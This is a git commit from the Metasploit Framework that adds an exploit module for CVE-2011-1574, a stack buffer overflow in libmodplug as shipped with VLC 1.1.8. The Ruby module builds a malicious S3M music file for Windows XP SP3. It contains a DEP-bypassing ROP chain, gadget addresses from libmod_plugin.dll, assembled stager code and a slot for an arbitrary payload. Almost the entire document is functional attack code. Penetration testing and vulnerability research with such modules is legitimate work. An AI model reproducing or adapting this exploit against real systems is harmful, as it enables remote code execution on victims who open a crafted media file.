Add an exploit for CVE-2011-1574 (libmodplug via VLC 1.1.8)
git-svn-id: file:///home/svn/framework3/trunk@12544 4d416f70-5f16-0410-b530-b9f4589650daunstable
parent
8d78a47e45
commit
5b8e4707cc
|
@ -0,0 +1,320 @@
|
|||
##
|
||||
# $Id: vlc_modplug_s3m.rb 12282 2011-04-08 15:48:53Z jduck $
|
||||
##
|
||||
|
||||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# Framework web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/framework/
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class Metasploit3 < Msf::Exploit::Remote
|
||||
Rank = AverageRanking
|
||||
|
||||
include Msf::Exploit::FILEFORMAT
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'VideoLAN VLC ModPlug ReadS3M Stack Buffer Overflow',
|
||||
'Description' => %q{
|
||||
This module exploits an input validation error in libmod_plugin as
|
||||
included with VideoLAN VLC 1.1.8. All versions prior to version 1.1.9
|
||||
are affected. By creating a malicious S3M file, a remote attacker
|
||||
could execute arbitrary code.
|
||||
|
||||
Although other products that bundle libmodplug may be vulnerable, this
|
||||
module was only tested against VLC.
|
||||
|
||||
NOTE: As of July 1st, 2010, VLC now calls SetProcessDEPPoly to
|
||||
permanently enable NX support on machines that support it. As such,
|
||||
this module is capable of bypassing DEP, but not ASLR.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' => [ 'jduck' ],
|
||||
'Version' => '$Revision: 12282 $',
|
||||
'References' =>
|
||||
[
|
||||
[ 'CVE', '2011-1574' ],
|
||||
#[ 'OSVDB', 'xxx' ],
|
||||
#[ 'BID', 'xxx' ],
|
||||
[ 'URL', 'http://modplug-xmms.git.sourceforge.net/git/gitweb.cgi?p=modplug-xmms/modplug-xmms;a=commitdiff;h=aecef259828a89bb00c2e6f78e89de7363b2237b' ],
|
||||
[ 'URL', 'http://hackipedia.org/File%20formats/Music/html/s3mformat.php' ],
|
||||
[ 'URL', 'https://www.sec-consult.com/files/20110407-0_libmodplug_stackoverflow.txt' ],
|
||||
[ 'URL', 'http://seclists.org/fulldisclosure/2011/Apr/113' ]
|
||||
],
|
||||
'Payload' =>
|
||||
{
|
||||
'Space' => 512 - 0x24, # Space reserved for prepended mutex code
|
||||
#'DisableNops' => true,
|
||||
},
|
||||
'Platform' => 'win',
|
||||
'Targets' =>
|
||||
[
|
||||
[ 'VLC 1.1.8 on Windows XP SP3',
|
||||
{
|
||||
# vuln is in libmod_plugin.dll, rop is custom to this module
|
||||
}
|
||||
],
|
||||
],
|
||||
'Privileged' => false,
|
||||
'DisclosureDate' => 'Apr 07, 2011', # "found: 2011-03-09"
|
||||
'DefaultTarget' => 0))
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptString.new('FILENAME', [ true, 'The file name.', 'msf.s3m']),
|
||||
], self.class)
|
||||
end
|
||||
|
||||
def exploit
|
||||
|
||||
num_orders = 0x14
|
||||
num_instru = 0x15
|
||||
num_patterns = 0x18
|
||||
|
||||
hdr = "\x00" * 0x1c # song name (none)
|
||||
hdr << [
|
||||
0x1a, # static byte
|
||||
0x10, # ST3 module
|
||||
0x00, # padding
|
||||
num_orders,
|
||||
num_instru,
|
||||
num_patterns,
|
||||
0x00, # Flags
|
||||
0x1320, # Created with (which tracker)
|
||||
0x02, # File format information
|
||||
].pack('CCvvvvvvv')
|
||||
hdr << "SCRM"
|
||||
|
||||
hdr << [
|
||||
0x40, # global volume
|
||||
0x06, # initial speed
|
||||
0x8a, # initial tempo
|
||||
0xb0, # master volume
|
||||
0x10, # ultra click removal
|
||||
0xfb # NOTE, non-0xfc value skips an additional loop!
|
||||
# 0xfc == default channel pan positions present
|
||||
].pack('CCCCCC')
|
||||
hdr << "\x00" * 10 # includes pad and special pointer
|
||||
|
||||
# channel settings (for 32 channels)
|
||||
hdr << "\x00\x08\x01\x09\x02\x0a\x03\x0b\x04\x0c\x05\x0d\x06\x0e\x07\x0f"
|
||||
hdr << "\xff" * 16
|
||||
|
||||
# orders
|
||||
hdr << "\x07\x08\x0c\x09\x0a\x0b\x0b\x0d\x0e\x0f\x0f\x0f\x10\x11\x12\x13"
|
||||
hdr << "\x14\x16\x17\xff"
|
||||
|
||||
# parapointers to instruments
|
||||
hdr << [ 0x0f ].pack('v') * num_instru
|
||||
|
||||
# parapoitners to patterns
|
||||
hdr << [ 0x78 ].pack('v') * num_patterns
|
||||
|
||||
# channel default pan positions
|
||||
hdr << "\x00" * 32
|
||||
|
||||
# instruments
|
||||
instru = "\x01metasplo.ity"
|
||||
rest = "\x00" * ((0x50 * num_instru) - instru.length)
|
||||
|
||||
# Build the rop stack
|
||||
rvas = rvas_libmod_plugin_xpsp3()
|
||||
rop = generate_rop(rvas)
|
||||
zero_ptr = rva2addr(rvas, 'Scratch') + 4
|
||||
mutex_addr = rva2addr(rvas, 'Scratch') + 8
|
||||
imp_Sleep = rva2addr(rvas, 'imp_Sleep')
|
||||
|
||||
# A mutex to prevent double payloads
|
||||
locking_code = <<-EOS
|
||||
mov ebx, [ #{imp_Sleep} ]
|
||||
jmp test_lock
|
||||
|
||||
sleep:
|
||||
push 0xdeadbeef
|
||||
call ebx
|
||||
|
||||
test_lock:
|
||||
mov eax, [ #{mutex_addr} ]
|
||||
test eax,eax
|
||||
jnz sleep
|
||||
|
||||
lock cmpxchg [ #{mutex_addr} ], ebp
|
||||
test eax,eax
|
||||
jnz sleep
|
||||
|
||||
EOS
|
||||
rop << Metasm::Shellcode.assemble(Metasm::Ia32.new, locking_code).encode_string
|
||||
rop << payload.encoded
|
||||
|
||||
# This becomes the new EIP (after return)
|
||||
ret = rva2addr(rvas, 'pop eax / ret')
|
||||
rest[1267, 4] = [ ret ].pack('V')
|
||||
|
||||
# In order to force return, we smash the this ptr on the stack and point
|
||||
# it so that m_nChannels turns out to be 0.
|
||||
rest[1271, 4] = [ zero_ptr - 0xe910 ].pack('V')
|
||||
|
||||
# Add the ROP stack and final payload here
|
||||
rest[1275, rop.length] = rop
|
||||
instru << rest
|
||||
|
||||
# patterns
|
||||
patt = [ 0x10 ].pack('v')
|
||||
patt << "\x00" * 0x10
|
||||
|
||||
|
||||
# finalize the file
|
||||
s3m = ""
|
||||
s3m << hdr
|
||||
|
||||
instru_pad = (0x0f * 0x10) - hdr.length
|
||||
s3m << "\x80" * instru_pad
|
||||
s3m << instru
|
||||
|
||||
|
||||
# patch in exploit trigger values
|
||||
s3m[0x22, 2] = [ 0x220 ].pack('v')
|
||||
s3m[0x24, 2] = [ 0x220 ].pack('v')
|
||||
|
||||
|
||||
print_status("Creating '#{datastore['FILENAME']}' file ...")
|
||||
|
||||
file_create(s3m)
|
||||
|
||||
end
|
||||
|
||||
def rvas_libmod_plugin_xpsp3()
|
||||
# libmod_plugin.dll from VLC 1.1.8 (Win32)
|
||||
# Just return this hash
|
||||
{
|
||||
# Used as 'Ret' for target
|
||||
'ret' => 0x1022,
|
||||
'push eax / ret' => 0x1cc4d,
|
||||
'pop eax / ret' => 0x598a2,
|
||||
'mov eax, [eax+0x1c] / ret' => 0x542c9,
|
||||
'pop ebx / pop ebp / ret' => 0x25e2f,
|
||||
'add eax, 4 / pop ebp / ret' => 0x7028,
|
||||
'mov [eax+0x58], ebx / pop ebx / pop esi / pop edi / pop ebp / ret' => 0x23dad,
|
||||
'sub eax, ebx / pop ebx / pop edi / pop ebp / ret' => 0x7d64,
|
||||
}
|
||||
end
|
||||
|
||||
def generate_rop(rvas)
|
||||
# ROP fun! (XP SP3 English, Apr 10 2011)
|
||||
rvas.merge!({
|
||||
# Instructions / Name => RVA
|
||||
'BaseAddress' => 0x653c0000,
|
||||
'imp_VirtualProtect' => 0xec2f0 - 0x1c, # adjust for gadget used to resolve
|
||||
'imp_Sleep' => 0xec2dc,
|
||||
'Scratch' => 0x5fbfc,
|
||||
'Data' => 0x60101,
|
||||
#'DataAdjusted' => 0x60000 - 0x58 + 0x8,
|
||||
'DataAdjusted' => 0x60000 - 0x58,
|
||||
})
|
||||
|
||||
copy_stage = <<-EOS
|
||||
nop
|
||||
push esp
|
||||
pop esi
|
||||
lea edi, [eax+0x10]
|
||||
push 0x7f
|
||||
pop ecx
|
||||
inc ecx
|
||||
rep movsd
|
||||
EOS
|
||||
copy_stage = Metasm::Shellcode.assemble(Metasm::Ia32.new, copy_stage).encode_string
|
||||
if (copy_stage.length % 4) > 0
|
||||
raise RuntimeError, "The copy stage is invalid"
|
||||
end
|
||||
|
||||
rop_stack = [
|
||||
# Resolve VirtualProtect
|
||||
'pop eax / ret',
|
||||
'imp_VirtualProtect',
|
||||
'mov eax, [eax+0x1c] / ret',
|
||||
|
||||
# Call VirtuaProtect
|
||||
'push eax / ret',
|
||||
'pop eax / ret', # after VirtualProtect
|
||||
# Args to VirtualProtect
|
||||
'Data', # lpAddress (place holder, filled in @ runtime above)
|
||||
0x1000, # dwSize
|
||||
0x40, # flNewProtect
|
||||
'Scratch', # lpflOldProtect
|
||||
|
||||
# Load the pre-adjusted Data addr
|
||||
'DataAdjusted', # matches pop eax / ret above
|
||||
|
||||
##
|
||||
# Write our code little stager to our newly executable memory.
|
||||
##
|
||||
|
||||
# Load the last 32-bits of code to write
|
||||
'pop ebx / pop ebp / ret',
|
||||
copy_stage[0, 4].unpack('V').first,
|
||||
:unused, # ebp
|
||||
|
||||
# Write & advance
|
||||
'mov [eax+0x58], ebx / pop ebx / pop esi / pop edi / pop ebp / ret',
|
||||
copy_stage[4, 4].unpack('V').first,
|
||||
:unused, # esi
|
||||
:unused, # edi
|
||||
:unused, # ebp
|
||||
'add eax, 4 / pop ebp / ret',
|
||||
:unused, # ebp
|
||||
|
||||
# Write & advance
|
||||
'mov [eax+0x58], ebx / pop ebx / pop esi / pop edi / pop ebp / ret',
|
||||
copy_stage[8, 4].unpack('V').first,
|
||||
:unused, # esi
|
||||
:unused, # edi
|
||||
:unused, # ebp
|
||||
'add eax, 4 / pop ebp / ret',
|
||||
:unused, # ebp
|
||||
|
||||
# Write & advance
|
||||
'mov [eax+0x58], ebx / pop ebx / pop esi / pop edi / pop ebp / ret',
|
||||
0xffffffb0, # adjustment value
|
||||
:unused, # esi
|
||||
:unused, # edi
|
||||
:unused, # ebp
|
||||
|
||||
# Adjust eax
|
||||
'sub eax, ebx / pop ebx / pop edi / pop ebp / ret',
|
||||
:unused, # ebx
|
||||
:unused, # edi
|
||||
:unused, # ebp
|
||||
|
||||
# Execute the copy stage
|
||||
'push eax / ret',
|
||||
]
|
||||
|
||||
rop_stack.map! { |e|
|
||||
if e.kind_of? String
|
||||
# Meta-replace (RVA)
|
||||
raise RuntimeError, "Unable to locate key: \"#{e}\"" if not rvas[e]
|
||||
rvas['BaseAddress'] + rvas[e]
|
||||
|
||||
elsif e == :unused
|
||||
# Randomize
|
||||
rand_text(4).unpack('V').first
|
||||
|
||||
else
|
||||
# Literal
|
||||
e
|
||||
end
|
||||
}
|
||||
|
||||
rop_stack.pack('V*')
|
||||
end
|
||||
|
||||
def rva2addr(rvas, key)
|
||||
raise RuntimeError, "Unable to locate key: \"#{key}\"" if not rvas[key]
|
||||
rvas['BaseAddress'] + rvas[key]
|
||||
end
|
||||
|
||||
end
|
Loading…
Reference in New Issue